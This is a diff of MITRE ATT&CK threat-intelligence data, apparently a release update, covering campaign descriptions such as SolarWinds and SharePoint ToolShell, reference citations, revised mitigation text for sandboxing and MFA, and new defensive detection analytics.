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+ "description": "The [SharePoint ToolShell Exploitation](https://attack.mitre.org/campaigns/C0058) campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompetely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors [Threat Group-3390](https://attack.mitre.org/groups/G0027) and [ZIRCONIUM](https://attack.mitre.org/groups/G0128). [SharePoint ToolShell Exploitation](https://attack.mitre.org/campaigns/C0058) targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.(Citation: Microsoft SharePoint Exploit JUL 2025)(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)(Citation: Eye Research ToolShell JUL 2025)(Citation: ESET ToolShell JUL 2025)(Citation: Trend Micro SharePoint Attacks JUL 2025)\n",
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+ "url": "https://research.eye.security/sharepoint-under-siege/"
+ },
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+ "source_name": "Microsoft SharePoint Exploit JUL 2025",
+ "description": "Microsoft Threat Intelligence. (2025, July 22). Disrupting active exploitation of on-premises SharePoint vulnerabilities. Retrieved October 15, 2025.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/#storm-2603"
+ },
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+ "source_name": "Palo Alto SharePoint Vulnerabilities JUL 2025",
+ "description": "Unit 42. (2025, July 31). Active Exploitation of Microsoft SharePoint Vulnerabilities: Threat Brief (Updated). Retrieved October 15, 2025.",
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+ "description": "[Operation Wocao](https://attack.mitre.org/campaigns/C0014) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.(Citation: FoxIT Wocao December 2019)\n\nSecurity researchers assessed the [Operation Wocao](https://attack.mitre.org/campaigns/C0014) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://attack.mitre.org/campaigns/C0014) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.(Citation: FoxIT Wocao December 2019)",
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+ "source_name": "FoxIT Wocao December 2019",
+ "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
+ "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
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+ "description": "The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) ",
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+ "source_name": "Volexity SolarWinds",
+ "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
+ "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
+ },
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+ "source_name": "CrowdStrike StellarParticle January 2022",
+ "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
+ "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
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+ "source_name": "USG Joint Statement SolarWinds January 2021",
+ "description": "FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.",
+ "url": "https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure"
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+ "source_name": "FireEye SUNBURST Backdoor December 2020",
+ "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
+ "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
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+ "source_name": "Mandiant UNC2452 APT29 April 2022",
+ "description": "Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.",
+ "url": "https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29"
+ },
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+ "source_name": "MSTIC NOBELIUM May 2021",
+ "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
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+ "source_name": "Microsoft Internal Solorigate Investigation Blog",
+ "description": "MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation \u2013 Final Update. Retrieved May 14, 2021.",
+ "url": "https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/"
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+ "source_name": "Microsoft Analyzing Solorigate Dec 2020",
+ "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"
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+ "source_name": "NSA Joint Advisory SVR SolarWinds April 2021",
+ "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.",
+ "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"
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+ "source_name": "SolarWinds Advisory Dec 2020",
+ "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.",
+ "url": "https://www.solarwinds.com/sa-overview/securityadvisory"
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+ "source_name": "SolarWinds Sunburst Sunspot Update January 2021",
+ "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.",
+ "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"
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+ "source_name": "UK NSCS Russia SolarWinds April 2021",
+ "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.",
+ "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"
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+ "source_name": "Unit 42 SolarStorm December 2020",
+ "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/"
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|---|---|---|---|---|---|
| t | 1 | Application Isolation and Sandboxing refers to the technique | t | 1 | Application Isolation and Sandboxing refers to the technique |
| > | of restricting the execution of code to a controlled and is | > | of restricting the execution of code to a controlled and is | ||
| > | olated environment (e.g., a virtual environment, container, | > | olated environment (e.g., a virtual environment, container, | ||
| > | or sandbox). This method prevents potentially malicious code | > | or sandbox). This method prevents potentially malicious code | ||
| > | from affecting the rest of the system or network by limitin | > | from affecting the rest of the system or network by limitin | ||
| > | g access to sensitive resources and critical operations. The | > | g access to sensitive resources and critical operations. The | ||
| > | goal is to contain threats and minimize their impact. This | > | goal is to contain threats and minimize their impact. This | ||
| > | mitigation can be implemented through the following measures | > | mitigation can be implemented through the following measures | ||
| > | : Browser Sandboxing: - Use Case: Implement browser sandbo | > | : Browser Sandboxing: - Use Case: Implement browser sandbo | ||
| > | xing to isolate untrusted web content, preventing malicious | > | xing to isolate untrusted web content and prevent malicious | ||
| > | web pages or scripts from accessing sensitive system files. | > | web pages or scripts from accessing sensitive system resourc | ||
| > | - Implementation: Use tools like Google Chrome's built-in sa | > | es or initiating unauthorized downloads. - Implementation: U | ||
| > | ndbox or deploy solutions like Bromium to secure user web in | > | se browsers with built-in sandboxing features (e.g., Google | ||
| > | teractions. Application Virtualization: - Use Case: Deploy | > | Chrome, Microsoft Edge) or deploy enhanced browser security | ||
| > | critical or high-risk applications in a virtualized environ | > | frameworks that limit the execution scope of active content. | ||
| > | ment to ensure any compromise does not affect the host syste | > | Consider controls that monitor or restrict script-based fil | ||
| > | m. - Implementation: Use application virtualization platform | > | e generation and downloads commonly abused in evasion techni | ||
| > | s to run applications in isolated environments. Email Attac | > | ques like HTML smuggling. Application Virtualization: - Us | ||
| > | hment Sandboxing: - Use Case: Route email attachments to a | > | e Case: Deploy critical or high-risk applications in a virtu | ||
| > | sandbox environment to detect and block malware before deliv | > | alized environment to ensure any compromise does not affect | ||
| > | ering emails to end-users. - Implementation: Integrate secur | > | the host system. - Implementation: Use application virtualiz | ||
| > | ity solutions with sandbox capabilities to analyze email att | > | ation platforms to run applications in isolated environments | ||
| > | achments. Endpoint Sandboxing: - Use Case: Run all downloa | > | . Email Attachment Sandboxing: - Use Case: Route email att | ||
| > | ded files and applications in a restricted environment to mo | > | achments to a sandbox environment to detect and block malwar | ||
| > | nitor their behavior for malicious activity. - Implementatio | > | e before delivering emails to end-users. - Implementation: I | ||
| > | n: Use endpoint protection tools for sandboxing at the endpo | > | ntegrate security solutions with sandbox capabilities to ana | ||
| > | int level. | > | lyze email attachments. Endpoint Sandboxing: - Use Case: R | ||
| > | un all downloaded files and applications in a restricted env | ||||
| > | ironment to monitor their behavior for malicious activity. - | ||||
| > | Implementation: Use endpoint protection tools for sandboxin | ||||
| > | g at the endpoint level. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Multi-Factor Authentication (MFA) enhances security by requi | t | 1 | Multi-Factor Authentication (MFA) enhances security by requi |
| > | ring users to provide at least two forms of verification to | > | ring users to provide at least two forms of verification to | ||
| > | prove their identity before granting access. These factors t | > | prove their identity before granting access. These factors t | ||
| > | ypically include: - *Something you know*: Passwords, PINs. | > | ypically include: - *Something you know*: Passwords, PINs. | ||
| > | - *Something you have*: Physical tokens, smartphone authenti | > | - *Something you have*: Physical tokens, smartphone authenti | ||
| > | cator apps. - *Something you are*: Biometric data such as fi | > | cator apps. - *Something you are*: Biometric data such as fi | ||
| > | ngerprints, facial recognition, or retinal scans. Implement | > | ngerprints, facial recognition, or retinal scans. Implement | ||
| > | ing MFA across all critical systems and services ensures rob | > | ing MFA across all critical systems and services ensures rob | ||
| > | ust protection against account takeover and unauthorized acc | > | ust protection against account takeover and unauthorized acc | ||
| > | ess. This mitigation can be implemented through the followin | > | ess. This mitigation can be implemented through the followin | ||
| > | g measures: Identity and Access Management (IAM): - Use IA | > | g measures: Identity and Access Management (IAM): - Use IA | ||
| > | M solutions like Azure Active Directory, Okta, or AWS IAM to | > | M solutions like Azure Active Directory, Okta, or AWS IAM to | ||
| > | enforce MFA policies for all user logins, especially for pr | > | enforce MFA policies for all user logins, especially for pr | ||
| > | ivileged roles. - Enable conditional access policies to enfo | > | ivileged roles. - Enable conditional access policies to enfo | ||
| > | rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc | > | rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc | ||
| > | ations). Authentication Tools and Methods: - Use authentic | > | ations). - Enable Conditional Access policies to only allow | ||
| > | ator applications such as Google Authenticator, Microsoft Au | > | logins from trusted devices, such as those enrolled in Intun | ||
| > | thenticator, or Authy for time-based one-time passwords (TOT | > | e or joined via Hybrid/Entra. Authentication Tools and Meth | ||
| > | P). - Deploy hardware-based tokens like YubiKey, RSA SecurID | > | ods: - Use authenticator applications such as Google Authen | ||
| > | , or smart cards for additional security. - Enforce biometri | > | ticator, Microsoft Authenticator, or Authy for time-based on | ||
| > | c authentication for compatible devices and applications. S | > | e-time passwords (TOTP). - Deploy hardware-based tokens like | ||
| > | ecure Legacy Systems: - Integrate MFA solutions with older | > | YubiKey, RSA SecurID, or smart cards for additional securit | ||
| > | systems using third-party tools like Duo Security or Thales | > | y. - Enforce biometric authentication for compatible devices | ||
| > | SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for V | > | and applications. Secure Legacy Systems: - Integrate MFA | ||
| > | PNs, RDP, and other network logins. Monitoring and Alerting | > | solutions with older systems using third-party tools like Du | ||
| > | : - Use SIEM tools to monitor failed MFA attempts, login an | > | o Security or Thales SafeNet. - Enable RADIUS/NPS servers to | ||
| > | omalies, or brute-force attempts against MFA systems. - Impl | > | facilitate MFA for VPNs, RDP, and other network logins. Mo | ||
| > | ement alerts for suspicious MFA activities, such as repeated | > | nitoring and Alerting: - Use SIEM tools to monitor failed M | ||
| > | failed codes or new device registrations. Training and Pol | > | FA attempts, login anomalies, or brute-force attempts agains | ||
| > | icy Enforcement: - Educate employees on the importance of M | > | t MFA systems. - Implement alerts for suspicious MFA activit | ||
| > | FA and secure authenticator usage. - Enforce policies that r | > | ies, such as repeated failed codes or new device registratio | ||
| > | equire MFA on all critical systems, especially for remote ac | > | ns. Training and Policy Enforcement: - Educate employees o | ||
| > | cess, privileged accounts, and cloud applications. | > | n the importance of MFA and secure authenticator usage. - En | ||
| > | force policies that require MFA on all critical systems, esp | ||||
| > | ecially for remote access, privileged accounts, and cloud ap | ||||
| > | plications. |
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+ "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--7726e542-666b-4eeb-8998-cddb45a41605",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0890#AN2022",
+ "external_id": "AN2022"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2022",
+ "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--9eb9a81f-cf55-48f8-a8da-217a7684aff4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0891#AN2023",
+ "external_id": "AN2023"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2023",
+ "description": "Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
+ "name": "Domain Name",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
+ "name": "Domain Name",
+ "channel": "None"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--68a7b414-9864-46c6-b629-bec6f07b5c31",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0892#AN2024",
+ "external_id": "AN2024"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2024",
+ "description": "Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. \nDomain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\nMonitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
+ "name": "Domain Name",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
+ "name": "Domain Name",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
+ "name": "Domain Name",
+ "channel": "None"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--91f5dbce-d334-4b42-9554-e94866d75a26",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0893#AN2025",
+ "external_id": "AN2025"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2025",
+ "description": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003) , [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) , or [Malicious Link](https://attack.mitre.org/techniques/T1204/001) .",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
+ "name": "Internet Scan",
+ "channel": "None"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--1762aa55-010b-4a26-b439-7afcfcc5613d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0894#AN2026",
+ "external_id": "AN2026"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2026",
+ "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--96e1107e-7fbe-49a2-b425-9d85a6ff46df",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0895#AN2027",
+ "external_id": "AN2027"
+ },
+ {
+ "source_name": "Koczwara Beacon Hunting Sep 2021",
+ "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
+ "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
+ },
+ {
+ "source_name": "Mandiant SCANdalous Jul 2020",
+ "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2027",
+ "description": "Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nConsider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
+ "x-mitre-deprecated": false,
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_log_source_references": [
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da",
+ "name": "Internet Scan",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
+ "name": "Internet Scan",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
+ "name": "Domain Name",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
+ "name": "Domain Name",
+ "channel": "None"
+ },
+ {
+ "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
+ "name": "Domain Name",
+ "channel": "None"
+ }
+ ],
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "x_mitre_deprecated": false
+ },
+ {
+ "type": "x-mitre-analytic",
+ "id": "x-mitre-analytic--e6500f0c-41bd-4e04-ad9d-4a3121803175",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-10-21 15:10:28.402000+00:00",
+ "modified": "2025-10-21 15:10:28.402000+00:00",
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/detectionstrategies/DET0896#AN2028",
+ "external_id": "AN2028"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "name": "Analytic 2028",
